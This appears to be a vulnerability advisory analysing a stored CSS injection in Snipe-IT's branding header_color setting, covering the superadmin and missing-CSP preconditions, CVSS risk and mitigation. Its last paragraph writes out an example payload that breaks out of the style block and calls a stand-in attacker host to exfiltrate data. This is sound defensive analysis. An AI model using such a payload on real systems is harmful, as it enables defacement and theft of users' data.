Snipe-IT EUVD-2026-43003

Two explicit conditions must both be satisfied for exploitation: (1) the attacker must hold a superadmin account - the branding settings endpoint is restricted to superadmin-role users only, and standard admins or regular users cannot modify these fields; and (2) Content Security Policy must be disabled or must not include a restrictive style-src directive - this condition is stated explicitly in the CVE description ('when Content Security Policy is disabled') and is the single technical control that fully blocks impact at the browser level. Without CSP restriction, the injected CSS executes silently for all authenticated users on every page load. Limiting factors include: the superadmin credential requirement substantially limits the external attack surface; CSP deployment at any enforcement point (reverse proxy, application header) fully mitigates browser-side execution; victims require no active interaction beyond normal application use, but must be authenticated Snipe-IT users.

Real-world risk is moderate and context-dependent. The primary limiting factor is the PR:H requirement - only a superadmin can modify branding settings, making this an insider or credential-compromise scenario rather than an externally exploitable entry point. The CVSS 4.0 score of 6.2 appropriately reflects this gate. However, the subsequent-system impact (SC:H/SI:H) is significant: once injected, the CSS payload silently affects every authenticated user, including other admins and regular users, without any interaction beyond normal application use. The attack requires Content Security Policy to be absent or permissive - this is an explicit condition stated in the advisory and a common reality in self-hosted, legacy, or misconfigured deployments of Snipe-IT. No EPSS score was provided in the input, and the vulnerability is not listed in CISA KEV, and no public POC has been identified, suggesting no current widespread exploitation. The risk profile is therefore: low external attack surface, high internal/post-compromise impact, fully mitigated by CSP deployment, and patched in a specific release. Organizations running without CSP and with multiple superadmin accounts should treat this as a meaningful privilege-escalation-to-persistence path.

A malicious or compromised superadmin logs into Snipe-IT's admin interface and navigates to the branding settings panel, entering a crafted value in the header_color field such as '#ff0000} * { display:none } body::after { content: url(https://attacker.example/log?data=...) }'. This payload is saved to the database and thereafter embedded verbatim inside the global CSS style block on every page load. Any authenticated user - from low-privilege asset viewers to other superadmins - who opens the application will silently receive and execute the injected stylesheet, enabling UI overlay attacks, visual defacement, or CSS-based attribute selector data exfiltration without any JavaScript execution required. No public POC has been identified at time of analysis.